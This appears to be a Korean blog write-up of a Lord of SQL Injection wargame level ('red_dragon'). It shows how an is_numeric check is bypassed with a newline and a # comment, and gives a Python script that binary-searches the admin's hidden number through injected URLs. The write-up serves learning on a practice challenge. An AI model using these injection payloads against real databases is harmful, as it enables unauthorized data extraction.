조건은 id의 길이가 7까지 밖에 되지 않는다는 것. 그리고 no변수가 숫자인지 체크 한다는 것이다.
저 7바이트 가지고는 아무것도 못할 것 같아서 is_numeric함수에 대해 찾아보았다.
php 공식 매뉴얼이다.
<?php
$tests = array(
"42",
1337,
0x539,
02471,
0b10100111001,
1337e0,
"0x539",
"02471",
"0b10100111001",
"1337e0",
"not numeric",
array(),
9.1,
null
);
foreach ($tests as $element) {
if (is_numeric($element)) {
echo var_export($element, true) . " is numeric", PHP_EOL;
} else {
echo var_export($element, true) . " is NOT numeric", PHP_EOL;
}
}
?>
'42' is numeric
1337 is numeric
1337 is numeric
1337 is numeric
1337 is numeric
1337.0 is numeric
'0x539' is NOT numeric
'02471' is numeric
'0b10100111001' is NOT numeric
'1337e0' is numeric
'not numeric' is NOT numeric
array (
) is NOT numeric
9.1 is numeric
NULL is NOT numeric
hex표현이 허용되는 것을 알 수 있다. 따라나온대로 해봤는데
안된다;; hex도 안들어간다. 따라서 다른걸 시도해 보았는데, url 인코딩표에서 특수문자들을 넣어보았고
개행문자는 들어가도 상관없는 것을 알았다.
탭, 개행문자 같은 것들은 무시하는 것같다. atoi함수와 체크 조건은 동일 한 듯 하다.
#이 한줄 주석처리라는 것을 이용해서 no 값을 이진탐색으로 찾아주겠다.
이런 방식을 이용할 것이다. #이 and no=까지 주석처리를 해서 no>123인 id를 불러오는 원리다.
586482014가 나왔다.
#!/usr/bin/python
#-*-coding:utf-8 -*-
import urllib,urllib2,requests
import time
header={"Cookie":"PHPSESSID=5b4vffci2mpk*****b335qko"}
password=''
whole_time=0
for i in range(1) :
max=2**32 #int32 max value
min=0
while True :
k=int((max+min)/2)
url="https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id=%27||no%3E%23&&no=%0a"
url+=str(k)
request=requests.get(url,headers=header)
if "Hello admin" in request.text :
min=k
else :
max=k
print(str(min)+' '+str(k)+' '+str(min))
url="https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id=%27||no=%23&&no=%0a"
url+=str(k)
request=requests.get(url,headers=header)
if "Hello admin" in request.text :
print(k)
break
print(password)
'전공쪽 > Lord of Sql injection' 카테고리의 다른 글
[los] frankenstein (0) | 2020.12.15 |
---|---|
[los] blue dragon (0) | 2020.12.15 |
[los] green dragon (0) | 2020.12.15 |
[los] evil_wizard (0) | 2020.12.15 |
[los]hell fire (0) | 2020.12.15 |